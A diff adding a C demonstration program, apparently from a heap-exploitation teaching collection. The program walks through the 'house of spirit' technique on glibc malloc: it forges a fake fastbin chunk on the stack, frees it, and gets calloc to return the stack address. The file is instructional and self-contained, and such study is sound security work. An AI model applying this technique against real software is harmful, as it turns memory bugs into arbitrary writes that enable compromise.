|
| 1 | +#include <stdio.h> |
| 2 | +#include <stdlib.h> |
| 3 | +#include <assert.h> |
| 4 | + |
| 5 | +int main() |
| 6 | +{ |
| 7 | + setbuf(stdout, NULL); |
| 8 | + |
| 9 | + puts("This file demonstrates the house of spirit attack."); |
| 10 | + puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); |
| 11 | + puts("Required primitives: known target address, ability to set up the start/end of the target memory"); |
| 12 | + |
| 13 | + puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); |
| 14 | + void *chunks[7]; |
| 15 | + for(int i=0; i<7; i++) { |
| 16 | + chunks[i] = malloc(0x30); |
| 17 | + } |
| 18 | + for(int i=0; i<7; i++) { |
| 19 | + free(chunks[i]); |
| 20 | + } |
| 21 | + |
| 22 | + puts("\nStep 2: Prepare the fake chunk"); |
| 23 | + // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) |
| 24 | + long fake_chunks[10] __attribute__ ((aligned (0x10))); |
| 25 | + printf("The target fake chunk is at %p\n", fake_chunks); |
| 26 | + printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); |
| 27 | + printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); |
| 28 | + puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); |
| 29 | + printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); |
| 30 | + fake_chunks[1] = 0x40; // this is the size |
| 31 | + |
| 32 | + printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); |
| 33 | + printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); |
| 34 | + fake_chunks[9] = 0x1234; // nextsize |
| 35 | + |
| 36 | + puts("\nStep 3: Free the first fake chunk"); |
| 37 | + puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); |
| 38 | + void *victim = &fake_chunks[2]; |
| 39 | + free(victim); |
| 40 | + |
| 41 | + puts("\nStep 4: Take out the fake chunk"); |
| 42 | + puts("First we have to empty the tcache."); |
| 43 | + for(int i=0; i<7; i++) { |
| 44 | + malloc(0x30); |
| 45 | + } |
| 46 | + |
| 47 | + printf("Now the next calloc (or malloc) will return our fake chunk at %p!\n", &fake_chunks[2]); |
| 48 | + void *allocated = calloc(1, 0x30); |
| 49 | + printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); |
| 50 | + |
| 51 | + assert(allocated == victim); |
| 52 | +} |
0 commit comments